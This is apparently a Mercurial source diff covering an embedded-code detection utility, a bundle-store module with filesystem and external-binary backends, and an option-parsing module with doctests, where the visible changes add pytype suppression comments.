539 def codeatend(self, ctx, line):
540 return None # no embedded code at end line
540 return None # no embedded code at end line
541
541
542 def codeinside(self, ctx, line):
542 def codeinside(self, ctx, line):
543 return line[len(self._prefix) :] # strip prefix
543 return line[len(self._prefix) :] # strip prefix
544
544
545
545
546 _pymatchers = [
546 _pymatchers = [
547 pydoctestmatcher(),
547 pydoctestmatcher(),
548 pyheredocmatcher(),
548 pyheredocmatcher(),
549 # use '[^<]+' instead of '\S+', in order to match against
549 # use '[^<]+' instead of '\S+', in order to match against
550 # paths including whitespaces
550 # paths including whitespaces
551 fileheredocmatcher('heredoc .py file', r'[^<]+\.py'),
551 fileheredocmatcher('heredoc .py file', r'[^<]+\.py'),
552 ]
552 ]
553
553
554
554
555 def pyembedded(basefile, lines, errors):
555 def pyembedded(basefile, lines, errors):
556 return embedded(basefile, lines, errors, _pymatchers)
556 return embedded(basefile, lines, errors, _pymatchers)
557
557
558
558
559 ####
559 ####
560 # for embedded shell script
560 # for embedded shell script
561
561
562 _shmatchers = [
562 _shmatchers = [
563 # use '[^<]+' instead of '\S+', in order to match against
563 # use '[^<]+' instead of '\S+', in order to match against
564 # paths including whitespaces
564 # paths including whitespaces
565 fileheredocmatcher('heredoc .sh file', r'[^<]+\.sh'),
565 fileheredocmatcher('heredoc .sh file', r'[^<]+\.sh'),
566 ]
566 ]
567
567
568
568
569 def shembedded(basefile, lines, errors):
569 def shembedded(basefile, lines, errors):
570 return embedded(basefile, lines, errors, _shmatchers)
570 return embedded(basefile, lines, errors, _shmatchers)
571
571
572
572
573 ####
573 ####
574 # for embedded hgrc configuration
574 # for embedded hgrc configuration
575
575
576 _hgrcmatchers = [
576 _hgrcmatchers = [
577 # use '[^<]+' instead of '\S+', in order to match against
577 # use '[^<]+' instead of '\S+', in order to match against
578 # paths including whitespaces
578 # paths including whitespaces
579 fileheredocmatcher(
579 fileheredocmatcher(
580 'heredoc hgrc file', r'(([^/<]+/)+hgrc|\$HGRCPATH|\${HGRCPATH})'
580 'heredoc hgrc file', r'(([^/<]+/)+hgrc|\$HGRCPATH|\${HGRCPATH})'
581 ),
581 ),
582 ]
582 ]
583
583
584
584
585 def hgrcembedded(basefile, lines, errors):
585 def hgrcembedded(basefile, lines, errors):
586 return embedded(basefile, lines, errors, _hgrcmatchers)
586 return embedded(basefile, lines, errors, _hgrcmatchers)
587
587
588
588
589 ####
589 ####
590
590
591 if __name__ == "__main__":
591 if __name__ == "__main__":
592 import optparse
592 import optparse
593 import sys
593 import sys
594
594
595 def showembedded(basefile, lines, embeddedfunc, opts):
595 def showembedded(basefile, lines, embeddedfunc, opts):
596 errors = []
596 errors = []
597 for name, starts, ends, code in embeddedfunc(basefile, lines, errors):
597 for name, starts, ends, code in embeddedfunc(basefile, lines, errors):
598 if not name:
598 if not name:
599 name = '<anonymous>'
599 name = '<anonymous>'
600 writeout("%s:%d: %s starts\n" % (basefile, starts, name))
600 writeout("%s:%d: %s starts\n" % (basefile, starts, name))
601 if opts.verbose and code:
601 if opts.verbose and code:
602 writeout(" |%s\n" % "\n |".join(l for l in code.splitlines()))
602 writeout(" |%s\n" % "\n |".join(l for l in code.splitlines()))
603 writeout("%s:%d: %s ends\n" % (basefile, ends, name))
603 writeout("%s:%d: %s ends\n" % (basefile, ends, name))
604 for e in errors:
604 for e in errors:
605 writeerr("%s\n" % e)
605 writeerr("%s\n" % e)
606 return len(errors)
606 return len(errors)
607
607
608 def applyembedded(args, embeddedfunc, opts):
608 def applyembedded(args, embeddedfunc, opts):
609 ret = 0
609 ret = 0
610 if args:
610 if args:
611 for f in args:
611 for f in args:
612 with opentext(f) as fp:
612 with opentext(f) as fp:
613 if showembedded(f, fp, embeddedfunc, opts):
613 if showembedded(f, fp, embeddedfunc, opts):
614 ret = 1
614 ret = 1
615 else:
615 else:
616 lines = [l for l in sys.stdin.readlines()]
616 lines = [l for l in sys.stdin.readlines()]
617 if showembedded('<stdin>', lines, embeddedfunc, opts):
617 if showembedded('<stdin>', lines, embeddedfunc, opts):
618 ret = 1
618 ret = 1
619 return ret
619 return ret
620
620
621 commands = {}
621 commands = {}
622
622
623 def command(name, desc):
623 def command(name, desc):
624 def wrap(func):
624 def wrap(func):
625 commands[name] = (desc, func)
625 commands[name] = (desc, func)
626
626
627 return wrap
627 return wrap
628
628
629 @command("pyembedded", "detect embedded python script")
629 @command("pyembedded", "detect embedded python script")
630 def pyembeddedcmd(args, opts):
630 def pyembeddedcmd(args, opts):
631 return applyembedded(args, pyembedded, opts)
631 return applyembedded(args, pyembedded, opts)
632
632
633 @command("shembedded", "detect embedded shell script")
633 @command("shembedded", "detect embedded shell script")
634 def shembeddedcmd(args, opts):
634 def shembeddedcmd(args, opts):
635 return applyembedded(args, shembedded, opts)
635 return applyembedded(args, shembedded, opts)
636
636
637 @command("hgrcembedded", "detect embedded hgrc configuration")
637 @command("hgrcembedded", "detect embedded hgrc configuration")
638 def hgrcembeddedcmd(args, opts):
638 def hgrcembeddedcmd(args, opts):
639 return applyembedded(args, hgrcembedded, opts)
639 return applyembedded(args, hgrcembedded, opts)
640
640
641 availablecommands = "\n".join(
641 availablecommands = "\n".join(
642 [" - %s: %s" % (key, value[0]) for key, value in commands.items()]
642 [" - %s: %s" % (key, value[0]) for key, value in commands.items()]
643 )
643 )
644
644
645 parser = optparse.OptionParser(
645 parser = optparse.OptionParser(
646 """%prog COMMAND [file ...]
646 """%prog COMMAND [file ...]
647
647
648 Pick up embedded code fragments from given file(s) or stdin, and list
648 Pick up embedded code fragments from given file(s) or stdin, and list
649 up start/end lines of them in standard compiler format
649 up start/end lines of them in standard compiler format
650 ("FILENAME:LINENO:").
650 ("FILENAME:LINENO:").
651
651
652 Available commands are:
652 Available commands are:
653 """
653 """
654 + availablecommands
654 + availablecommands
655 + """
655 + """
656 """
656 """
657 )
657 )
658 parser.add_option(
658 parser.add_option(
659 "-v",
659 "-v",
660 "--verbose",
660 "--verbose",
661 help="enable additional output (e.g. actual code)",
661 help="enable additional output (e.g. actual code)",
662 action="store_true",
662 action="store_true",
663 )
663 )
664 (opts, args) = parser.parse_args()
664 (opts, args) = parser.parse_args()
665
665
666 if not args or args[0] not in commands:
666 if not args or args[0] not in commands:
667 parser.print_help()
667 parser.print_help()
668 sys.exit(255)
668 sys.exit(255)
669
669
670 sys.exit(commands[args[0]][1](args[1:], opts))
670 sys.exit(commands[args[0]][1](args[1:], opts))
@@ -1,184 +1,184 b''
1 # This software may be used and distributed according to the terms of the
1 # This software may be used and distributed according to the terms of the
2 # GNU General Public License version 2 or any later version.
2 # GNU General Public License version 2 or any later version.
3
3
4 # based on bundleheads extension by Gregory Szorc <gps@mozilla.com>
4 # based on bundleheads extension by Gregory Szorc <gps@mozilla.com>
5
5
6 from __future__ import absolute_import
6 from __future__ import absolute_import
7
7
8 import abc
8 import abc
9 import hashlib
9 import hashlib
10 import os
10 import os
11 import subprocess
11 import subprocess
12 import tempfile
12 import tempfile
13
13
14 from mercurial.pycompat import open
14 from mercurial.pycompat import open
15 from mercurial import (
15 from mercurial import (
16 node,
16 node,
17 pycompat,
17 pycompat,
18 )
18 )
19 from mercurial.utils import procutil
19 from mercurial.utils import procutil
20
20
21 NamedTemporaryFile = tempfile.NamedTemporaryFile
21 NamedTemporaryFile = tempfile.NamedTemporaryFile
22
22
23
23
24 class BundleWriteException(Exception):
24 class BundleWriteException(Exception):
25 pass
25 pass
26
26
27
27
28 class BundleReadException(Exception):
28 class BundleReadException(Exception):
29 pass
29 pass
30
30
31
31
32 class abstractbundlestore(object):
32 class abstractbundlestore(object): # pytype: disable=ignored-metaclass
33 """Defines the interface for bundle stores.
33 """Defines the interface for bundle stores.
34
34
35 A bundle store is an entity that stores raw bundle data. It is a simple
35 A bundle store is an entity that stores raw bundle data. It is a simple
36 key-value store. However, the keys are chosen by the store. The keys can
36 key-value store. However, the keys are chosen by the store. The keys can
37 be any Python object understood by the corresponding bundle index (see
37 be any Python object understood by the corresponding bundle index (see
38 ``abstractbundleindex`` below).
38 ``abstractbundleindex`` below).
39 """
39 """
40
40
41 __metaclass__ = abc.ABCMeta
41 __metaclass__ = abc.ABCMeta
42
42
43 @abc.abstractmethod
43 @abc.abstractmethod
44 def write(self, data):
44 def write(self, data):
45 """Write bundle data to the store.
45 """Write bundle data to the store.
46
46
47 This function receives the raw data to be written as a str.
47 This function receives the raw data to be written as a str.
48 Throws BundleWriteException
48 Throws BundleWriteException
49 The key of the written data MUST be returned.
49 The key of the written data MUST be returned.
50 """
50 """
51
51
52 @abc.abstractmethod
52 @abc.abstractmethod
53 def read(self, key):
53 def read(self, key):
54 """Obtain bundle data for a key.
54 """Obtain bundle data for a key.
55
55
56 Returns None if the bundle isn't known.
56 Returns None if the bundle isn't known.
57 Throws BundleReadException
57 Throws BundleReadException
58 The returned object should be a file object supporting read()
58 The returned object should be a file object supporting read()
59 and close().
59 and close().
60 """
60 """
61
61
62
62
63 class filebundlestore(object):
63 class filebundlestore(object):
64 """bundle store in filesystem
64 """bundle store in filesystem
65
65
66 meant for storing bundles somewhere on disk and on network filesystems
66 meant for storing bundles somewhere on disk and on network filesystems
67 """
67 """
68
68
69 def __init__(self, ui, repo):
69 def __init__(self, ui, repo):
70 self.ui = ui
70 self.ui = ui
71 self.repo = repo
71 self.repo = repo
72 self.storepath = ui.configpath(b'scratchbranch', b'storepath')
72 self.storepath = ui.configpath(b'scratchbranch', b'storepath')
73 if not self.storepath:
73 if not self.storepath:
74 self.storepath = self.repo.vfs.join(
74 self.storepath = self.repo.vfs.join(
75 b"scratchbranches", b"filebundlestore"
75 b"scratchbranches", b"filebundlestore"
76 )
76 )
77 if not os.path.exists(self.storepath):
77 if not os.path.exists(self.storepath):
78 os.makedirs(self.storepath)
78 os.makedirs(self.storepath)
79
79
80 def _dirpath(self, hashvalue):
80 def _dirpath(self, hashvalue):
81 """First two bytes of the hash are the name of the upper
81 """First two bytes of the hash are the name of the upper
82 level directory, next two bytes are the name of the
82 level directory, next two bytes are the name of the
83 next level directory"""
83 next level directory"""
84 return os.path.join(self.storepath, hashvalue[0:2], hashvalue[2:4])
84 return os.path.join(self.storepath, hashvalue[0:2], hashvalue[2:4])
85
85
86 def _filepath(self, filename):
86 def _filepath(self, filename):
87 return os.path.join(self._dirpath(filename), filename)
87 return os.path.join(self._dirpath(filename), filename)
88
88
89 def write(self, data):
89 def write(self, data):
90 filename = node.hex(hashlib.sha1(data).digest())
90 filename = node.hex(hashlib.sha1(data).digest())
91 dirpath = self._dirpath(filename)
91 dirpath = self._dirpath(filename)
92
92
93 if not os.path.exists(dirpath):
93 if not os.path.exists(dirpath):
94 os.makedirs(dirpath)
94 os.makedirs(dirpath)
95
95
96 with open(self._filepath(filename), b'wb') as f:
96 with open(self._filepath(filename), b'wb') as f:
97 f.write(data)
97 f.write(data)
98
98
99 return filename
99 return filename
100
100
101 def read(self, key):
101 def read(self, key):
102 try:
102 try:
103 with open(self._filepath(key), b'rb') as f:
103 with open(self._filepath(key), b'rb') as f:
104 return f.read()
104 return f.read()
105 except IOError:
105 except IOError:
106 return None
106 return None
107
107
108
108
109 class externalbundlestore(abstractbundlestore):
109 class externalbundlestore(abstractbundlestore):
110 def __init__(self, put_binary, put_args, get_binary, get_args):
110 def __init__(self, put_binary, put_args, get_binary, get_args):
111 """
111 """
112 `put_binary` - path to binary file which uploads bundle to external
112 `put_binary` - path to binary file which uploads bundle to external
113 storage and prints key to stdout
113 storage and prints key to stdout
114 `put_args` - format string with additional args to `put_binary`
114 `put_args` - format string with additional args to `put_binary`
115 {filename} replacement field can be used.
115 {filename} replacement field can be used.
116 `get_binary` - path to binary file which accepts filename and key
116 `get_binary` - path to binary file which accepts filename and key
117 (in that order), downloads bundle from store and saves it to file
117 (in that order), downloads bundle from store and saves it to file
118 `get_args` - format string with additional args to `get_binary`.
118 `get_args` - format string with additional args to `get_binary`.
119 {filename} and {handle} replacement field can be used.
119 {filename} and {handle} replacement field can be used.
120 """
120 """
121
121
122 self.put_args = put_args
122 self.put_args = put_args
123 self.get_args = get_args
123 self.get_args = get_args
124 self.put_binary = put_binary
124 self.put_binary = put_binary
125 self.get_binary = get_binary
125 self.get_binary = get_binary
126
126
127 def _call_binary(self, args):
127 def _call_binary(self, args):
128 p = subprocess.Popen(
128 p = subprocess.Popen(
129 pycompat.rapply(procutil.tonativestr, args),
129 pycompat.rapply(procutil.tonativestr, args),
130 stdout=subprocess.PIPE,
130 stdout=subprocess.PIPE,
131 stderr=subprocess.PIPE,
131 stderr=subprocess.PIPE,
132 close_fds=True,
132 close_fds=True,
133 )
133 )
134 stdout, stderr = p.communicate()
134 stdout, stderr = p.communicate()
135 returncode = p.returncode
135 returncode = p.returncode
136 return returncode, stdout, stderr
136 return returncode, stdout, stderr
137
137
138 def write(self, data):
138 def write(self, data):
139 # Won't work on windows because you can't open file second time without
139 # Won't work on windows because you can't open file second time without
140 # closing it
140 # closing it
141 # TODO: rewrite without str.format() and replace NamedTemporaryFile()
141 # TODO: rewrite without str.format() and replace NamedTemporaryFile()
142 # with pycompat.namedtempfile()
142 # with pycompat.namedtempfile()
143 with NamedTemporaryFile() as temp:
143 with NamedTemporaryFile() as temp:
144 temp.write(data)
144 temp.write(data)
145 temp.flush()
145 temp.flush()
146 temp.seek(0)
146 temp.seek(0)
147 formatted_args = [
147 formatted_args = [
148 arg.format(filename=temp.name) for arg in self.put_args
148 arg.format(filename=temp.name) for arg in self.put_args
149 ]
149 ]
150 returncode, stdout, stderr = self._call_binary(
150 returncode, stdout, stderr = self._call_binary(
151 [self.put_binary] + formatted_args
151 [self.put_binary] + formatted_args
152 )
152 )
153
153
154 if returncode != 0:
154 if returncode != 0:
155 raise BundleWriteException(
155 raise BundleWriteException(
156 b'Failed to upload to external store: %s' % stderr
156 b'Failed to upload to external store: %s' % stderr
157 )
157 )
158 stdout_lines = stdout.splitlines()
158 stdout_lines = stdout.splitlines()
159 if len(stdout_lines) == 1:
159 if len(stdout_lines) == 1:
160 return stdout_lines[0]
160 return stdout_lines[0]
161 else:
161 else:
162 raise BundleWriteException(
162 raise BundleWriteException(
163 b'Bad output from %s: %s' % (self.put_binary, stdout)
163 b'Bad output from %s: %s' % (self.put_binary, stdout)
164 )
164 )
165
165
166 def read(self, handle):
166 def read(self, handle):
167 # Won't work on windows because you can't open file second time without
167 # Won't work on windows because you can't open file second time without
168 # closing it
168 # closing it
169 # TODO: rewrite without str.format() and replace NamedTemporaryFile()
169 # TODO: rewrite without str.format() and replace NamedTemporaryFile()
170 # with pycompat.namedtempfile()
170 # with pycompat.namedtempfile()
171 with NamedTemporaryFile() as temp:
171 with NamedTemporaryFile() as temp:
172 formatted_args = [
172 formatted_args = [
173 arg.format(filename=temp.name, handle=handle)
173 arg.format(filename=temp.name, handle=handle)
174 for arg in self.get_args
174 for arg in self.get_args
175 ]
175 ]
176 returncode, stdout, stderr = self._call_binary(
176 returncode, stdout, stderr = self._call_binary(
177 [self.get_binary] + formatted_args
177 [self.get_binary] + formatted_args
178 )
178 )
179
179
180 if returncode != 0:
180 if returncode != 0:
181 raise BundleReadException(
181 raise BundleReadException(
182 b'Failed to download from external store: %s' % stderr
182 b'Failed to download from external store: %s' % stderr
183 )
183 )
184 return temp.read()
184 return temp.read()
@@ -1,391 +1,391 b''
1 # fancyopts.py - better command line parsing
1 # fancyopts.py - better command line parsing
2 #
2 #
3 # Copyright 2005-2009 Matt Mackall <mpm@selenic.com> and others
3 # Copyright 2005-2009 Matt Mackall <mpm@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import abc
10 import abc
11 import functools
11 import functools
12
12
13 from .i18n import _
13 from .i18n import _
14 from . import (
14 from . import (
15 error,
15 error,
16 pycompat,
16 pycompat,
17 )
17 )
18
18
19 # Set of flags to not apply boolean negation logic on
19 # Set of flags to not apply boolean negation logic on
20 nevernegate = {
20 nevernegate = {
21 # avoid --no-noninteractive
21 # avoid --no-noninteractive
22 b'noninteractive',
22 b'noninteractive',
23 # These two flags are special because they cause hg to do one
23 # These two flags are special because they cause hg to do one
24 # thing and then exit, and so aren't suitable for use in things
24 # thing and then exit, and so aren't suitable for use in things
25 # like aliases anyway.
25 # like aliases anyway.
26 b'help',
26 b'help',
27 b'version',
27 b'version',
28 }
28 }
29
29
30
30
31 def _earlyoptarg(arg, shortlist, namelist):
31 def _earlyoptarg(arg, shortlist, namelist):
32 """Check if the given arg is a valid unabbreviated option
32 """Check if the given arg is a valid unabbreviated option
33
33
34 Returns (flag_str, has_embedded_value?, embedded_value, takes_value?)
34 Returns (flag_str, has_embedded_value?, embedded_value, takes_value?)
35
35
36 >>> def opt(arg):
36 >>> def opt(arg):
37 ... return _earlyoptarg(arg, b'R:q', [b'cwd=', b'debugger'])
37 ... return _earlyoptarg(arg, b'R:q', [b'cwd=', b'debugger'])
38
38
39 long form:
39 long form:
40
40
41 >>> opt(b'--cwd')
41 >>> opt(b'--cwd')
42 ('--cwd', False, '', True)
42 ('--cwd', False, '', True)
43 >>> opt(b'--cwd=')
43 >>> opt(b'--cwd=')
44 ('--cwd', True, '', True)
44 ('--cwd', True, '', True)
45 >>> opt(b'--cwd=foo')
45 >>> opt(b'--cwd=foo')
46 ('--cwd', True, 'foo', True)
46 ('--cwd', True, 'foo', True)
47 >>> opt(b'--debugger')
47 >>> opt(b'--debugger')
48 ('--debugger', False, '', False)
48 ('--debugger', False, '', False)
49 >>> opt(b'--debugger=') # invalid but parsable
49 >>> opt(b'--debugger=') # invalid but parsable
50 ('--debugger', True, '', False)
50 ('--debugger', True, '', False)
51
51
52 short form:
52 short form:
53
53
54 >>> opt(b'-R')
54 >>> opt(b'-R')
55 ('-R', False, '', True)
55 ('-R', False, '', True)
56 >>> opt(b'-Rfoo')
56 >>> opt(b'-Rfoo')
57 ('-R', True, 'foo', True)
57 ('-R', True, 'foo', True)
58 >>> opt(b'-q')
58 >>> opt(b'-q')
59 ('-q', False, '', False)
59 ('-q', False, '', False)
60 >>> opt(b'-qfoo') # invalid but parsable
60 >>> opt(b'-qfoo') # invalid but parsable
61 ('-q', True, 'foo', False)
61 ('-q', True, 'foo', False)
62
62
63 unknown or invalid:
63 unknown or invalid:
64
64
65 >>> opt(b'--unknown')
65 >>> opt(b'--unknown')
66 ('', False, '', False)
66 ('', False, '', False)
67 >>> opt(b'-u')
67 >>> opt(b'-u')
68 ('', False, '', False)
68 ('', False, '', False)
69 >>> opt(b'-ufoo')
69 >>> opt(b'-ufoo')
70 ('', False, '', False)
70 ('', False, '', False)
71 >>> opt(b'--')
71 >>> opt(b'--')
72 ('', False, '', False)
72 ('', False, '', False)
73 >>> opt(b'-')
73 >>> opt(b'-')
74 ('', False, '', False)
74 ('', False, '', False)
75 >>> opt(b'-:')
75 >>> opt(b'-:')
76 ('', False, '', False)
76 ('', False, '', False)
77 >>> opt(b'-:foo')
77 >>> opt(b'-:foo')
78 ('', False, '', False)
78 ('', False, '', False)
79 """
79 """
80 if arg.startswith(b'--'):
80 if arg.startswith(b'--'):
81 flag, eq, val = arg.partition(b'=')
81 flag, eq, val = arg.partition(b'=')
82 if flag[2:] in namelist:
82 if flag[2:] in namelist:
83 return flag, bool(eq), val, False
83 return flag, bool(eq), val, False
84 if flag[2:] + b'=' in namelist:
84 if flag[2:] + b'=' in namelist:
85 return flag, bool(eq), val, True
85 return flag, bool(eq), val, True
86 elif arg.startswith(b'-') and arg != b'-' and not arg.startswith(b'-:'):
86 elif arg.startswith(b'-') and arg != b'-' and not arg.startswith(b'-:'):
87 flag, val = arg[:2], arg[2:]
87 flag, val = arg[:2], arg[2:]
88 i = shortlist.find(flag[1:])
88 i = shortlist.find(flag[1:])
89 if i >= 0:
89 if i >= 0:
90 return flag, bool(val), val, shortlist.startswith(b':', i + 1)
90 return flag, bool(val), val, shortlist.startswith(b':', i + 1)
91 return b'', False, b'', False
91 return b'', False, b'', False
92
92
93
93
94 def earlygetopt(args, shortlist, namelist, gnu=False, keepsep=False):
94 def earlygetopt(args, shortlist, namelist, gnu=False, keepsep=False):
95 """Parse options like getopt, but ignores unknown options and abbreviated
95 """Parse options like getopt, but ignores unknown options and abbreviated
96 forms
96 forms
97
97
98 If gnu=False, this stops processing options as soon as a non/unknown-option
98 If gnu=False, this stops processing options as soon as a non/unknown-option
99 argument is encountered. Otherwise, option and non-option arguments may be
99 argument is encountered. Otherwise, option and non-option arguments may be
100 intermixed, and unknown-option arguments are taken as non-option.
100 intermixed, and unknown-option arguments are taken as non-option.
101
101
102 If keepsep=True, '--' won't be removed from the list of arguments left.
102 If keepsep=True, '--' won't be removed from the list of arguments left.
103 This is useful for stripping early options from a full command arguments.
103 This is useful for stripping early options from a full command arguments.
104
104
105 >>> def get(args, gnu=False, keepsep=False):
105 >>> def get(args, gnu=False, keepsep=False):
106 ... return earlygetopt(args, b'R:q', [b'cwd=', b'debugger'],
106 ... return earlygetopt(args, b'R:q', [b'cwd=', b'debugger'],
107 ... gnu=gnu, keepsep=keepsep)
107 ... gnu=gnu, keepsep=keepsep)
108
108
109 default parsing rules for early options:
109 default parsing rules for early options:
110
110
111 >>> get([b'x', b'--cwd', b'foo', b'-Rbar', b'-q', b'y'], gnu=True)
111 >>> get([b'x', b'--cwd', b'foo', b'-Rbar', b'-q', b'y'], gnu=True)
112 ([('--cwd', 'foo'), ('-R', 'bar'), ('-q', '')], ['x', 'y'])
112 ([('--cwd', 'foo'), ('-R', 'bar'), ('-q', '')], ['x', 'y'])
113 >>> get([b'x', b'--cwd=foo', b'y', b'-R', b'bar', b'--debugger'], gnu=True)
113 >>> get([b'x', b'--cwd=foo', b'y', b'-R', b'bar', b'--debugger'], gnu=True)
114 ([('--cwd', 'foo'), ('-R', 'bar'), ('--debugger', '')], ['x', 'y'])
114 ([('--cwd', 'foo'), ('-R', 'bar'), ('--debugger', '')], ['x', 'y'])
115 >>> get([b'--unknown', b'--cwd=foo', b'--', '--debugger'], gnu=True)
115 >>> get([b'--unknown', b'--cwd=foo', b'--', '--debugger'], gnu=True)
116 ([('--cwd', 'foo')], ['--unknown', '--debugger'])
116 ([('--cwd', 'foo')], ['--unknown', '--debugger'])
117
117
118 restricted parsing rules (early options must come first):
118 restricted parsing rules (early options must come first):
119
119
120 >>> get([b'--cwd', b'foo', b'-Rbar', b'x', b'-q', b'y'], gnu=False)
120 >>> get([b'--cwd', b'foo', b'-Rbar', b'x', b'-q', b'y'], gnu=False)
121 ([('--cwd', 'foo'), ('-R', 'bar')], ['x', '-q', 'y'])
121 ([('--cwd', 'foo'), ('-R', 'bar')], ['x', '-q', 'y'])
122 >>> get([b'--cwd=foo', b'x', b'y', b'-R', b'bar', b'--debugger'], gnu=False)
122 >>> get([b'--cwd=foo', b'x', b'y', b'-R', b'bar', b'--debugger'], gnu=False)
123 ([('--cwd', 'foo')], ['x', 'y', '-R', 'bar', '--debugger'])
123 ([('--cwd', 'foo')], ['x', 'y', '-R', 'bar', '--debugger'])
124 >>> get([b'--unknown', b'--cwd=foo', b'--', '--debugger'], gnu=False)
124 >>> get([b'--unknown', b'--cwd=foo', b'--', '--debugger'], gnu=False)
125 ([], ['--unknown', '--cwd=foo', '--', '--debugger'])
125 ([], ['--unknown', '--cwd=foo', '--', '--debugger'])
126
126
127 stripping early options (without loosing '--'):
127 stripping early options (without loosing '--'):
128
128
129 >>> get([b'x', b'-Rbar', b'--', '--debugger'], gnu=True, keepsep=True)[1]
129 >>> get([b'x', b'-Rbar', b'--', '--debugger'], gnu=True, keepsep=True)[1]
130 ['x', '--', '--debugger']
130 ['x', '--', '--debugger']
131
131
132 last argument:
132 last argument:
133
133
134 >>> get([b'--cwd'])
134 >>> get([b'--cwd'])
135 ([], ['--cwd'])
135 ([], ['--cwd'])
136 >>> get([b'--cwd=foo'])
136 >>> get([b'--cwd=foo'])
137 ([('--cwd', 'foo')], [])
137 ([('--cwd', 'foo')], [])
138 >>> get([b'-R'])
138 >>> get([b'-R'])
139 ([], ['-R'])
139 ([], ['-R'])
140 >>> get([b'-Rbar'])
140 >>> get([b'-Rbar'])
141 ([('-R', 'bar')], [])
141 ([('-R', 'bar')], [])
142 >>> get([b'-q'])
142 >>> get([b'-q'])
143 ([('-q', '')], [])
143 ([('-q', '')], [])
144 >>> get([b'-q', b'--'])
144 >>> get([b'-q', b'--'])
145 ([('-q', '')], [])
145 ([('-q', '')], [])
146
146
147 '--' may be a value:
147 '--' may be a value:
148
148
149 >>> get([b'-R', b'--', b'x'])
149 >>> get([b'-R', b'--', b'x'])
150 ([('-R', '--')], ['x'])
150 ([('-R', '--')], ['x'])
151 >>> get([b'--cwd', b'--', b'x'])
151 >>> get([b'--cwd', b'--', b'x'])
152 ([('--cwd', '--')], ['x'])
152 ([('--cwd', '--')], ['x'])
153
153
154 value passed to bool options:
154 value passed to bool options:
155
155
156 >>> get([b'--debugger=foo', b'x'])
156 >>> get([b'--debugger=foo', b'x'])
157 ([], ['--debugger=foo', 'x'])
157 ([], ['--debugger=foo', 'x'])
158 >>> get([b'-qfoo', b'x'])
158 >>> get([b'-qfoo', b'x'])
159 ([], ['-qfoo', 'x'])
159 ([], ['-qfoo', 'x'])
160
160
161 short option isn't separated with '=':
161 short option isn't separated with '=':
162
162
163 >>> get([b'-R=bar'])
163 >>> get([b'-R=bar'])
164 ([('-R', '=bar')], [])
164 ([('-R', '=bar')], [])
165
165
166 ':' may be in shortlist, but shouldn't be taken as an option letter:
166 ':' may be in shortlist, but shouldn't be taken as an option letter:
167
167
168 >>> get([b'-:', b'y'])
168 >>> get([b'-:', b'y'])
169 ([], ['-:', 'y'])
169 ([], ['-:', 'y'])
170
170
171 '-' is a valid non-option argument:
171 '-' is a valid non-option argument:
172
172
173 >>> get([b'-', b'y'])
173 >>> get([b'-', b'y'])
174 ([], ['-', 'y'])
174 ([], ['-', 'y'])
175 """
175 """
176 parsedopts = []
176 parsedopts = []
177 parsedargs = []
177 parsedargs = []
178 pos = 0
178 pos = 0
179 while pos < len(args):
179 while pos < len(args):
180 arg = args[pos]
180 arg = args[pos]
181 if arg == b'--':
181 if arg == b'--':
182 pos += not keepsep
182 pos += not keepsep
183 break
183 break
184 flag, hasval, val, takeval = _earlyoptarg(arg, shortlist, namelist)
184 flag, hasval, val, takeval = _earlyoptarg(arg, shortlist, namelist)
185 if not hasval and takeval and pos + 1 >= len(args):
185 if not hasval and takeval and pos + 1 >= len(args):
186 # missing last argument
186 # missing last argument
187 break
187 break
188 if not flag or hasval and not takeval:
188 if not flag or hasval and not takeval:
189 # non-option argument or -b/--bool=INVALID_VALUE
189 # non-option argument or -b/--bool=INVALID_VALUE
190 if gnu:
190 if gnu:
191 parsedargs.append(arg)
191 parsedargs.append(arg)
192 pos += 1
192 pos += 1
193 else:
193 else:
194 break
194 break
195 elif hasval == takeval:
195 elif hasval == takeval:
196 # -b/--bool or -s/--str=VALUE
196 # -b/--bool or -s/--str=VALUE
197 parsedopts.append((flag, val))
197 parsedopts.append((flag, val))
198 pos += 1
198 pos += 1
199 else:
199 else:
200 # -s/--str VALUE
200 # -s/--str VALUE
201 parsedopts.append((flag, args[pos + 1]))
201 parsedopts.append((flag, args[pos + 1]))
202 pos += 2
202 pos += 2
203
203
204 parsedargs.extend(args[pos:])
204 parsedargs.extend(args[pos:])
205 return parsedopts, parsedargs
205 return parsedopts, parsedargs
206
206
207
207
208 class customopt(object):
208 class customopt(object): # pytype: disable=ignored-metaclass
209 """Manage defaults and mutations for any type of opt."""
209 """Manage defaults and mutations for any type of opt."""
210
210
211 __metaclass__ = abc.ABCMeta
211 __metaclass__ = abc.ABCMeta
212
212
213 def __init__(self, defaultvalue):
213 def __init__(self, defaultvalue):
214 self._defaultvalue = defaultvalue
214 self._defaultvalue = defaultvalue
215
215
216 def _isboolopt(self):
216 def _isboolopt(self):
217 return False
217 return False
218
218
219 def getdefaultvalue(self):
219 def getdefaultvalue(self):
220 """Returns the default value for this opt.
220 """Returns the default value for this opt.
221
221
222 Subclasses should override this to return a new value if the value type
222 Subclasses should override this to return a new value if the value type
223 is mutable."""
223 is mutable."""
224 return self._defaultvalue
224 return self._defaultvalue
225
225
226 @abc.abstractmethod
226 @abc.abstractmethod
227 def newstate(self, oldstate, newparam, abort):
227 def newstate(self, oldstate, newparam, abort):
228 """Adds newparam to oldstate and returns the new state.
228 """Adds newparam to oldstate and returns the new state.
229
229
230 On failure, abort can be called with a string error message."""
230 On failure, abort can be called with a string error message."""
231
231
232
232
233 class _simpleopt(customopt):
233 class _simpleopt(customopt):
234 def _isboolopt(self):
234 def _isboolopt(self):
235 return isinstance(self._defaultvalue, (bool, type(None)))
235 return isinstance(self._defaultvalue, (bool, type(None)))
236
236
237 def newstate(self, oldstate, newparam, abort):
237 def newstate(self, oldstate, newparam, abort):
238 return newparam
238 return newparam
239
239
240
240
241 class _callableopt(customopt):
241 class _callableopt(customopt):
242 def __init__(self, callablefn):
242 def __init__(self, callablefn):
243 self.callablefn = callablefn
243 self.callablefn = callablefn
244 super(_callableopt, self).__init__(None)
244 super(_callableopt, self).__init__(None)
245
245
246 def newstate(self, oldstate, newparam, abort):
246 def newstate(self, oldstate, newparam, abort):
247 return self.callablefn(newparam)
247 return self.callablefn(newparam)
248
248
249
249
250 class _listopt(customopt):
250 class _listopt(customopt):
251 def getdefaultvalue(self):
251 def getdefaultvalue(self):
252 return self._defaultvalue[:]
252 return self._defaultvalue[:]
253
253
254 def newstate(self, oldstate, newparam, abort):
254 def newstate(self, oldstate, newparam, abort):
255 oldstate.append(newparam)
255 oldstate.append(newparam)
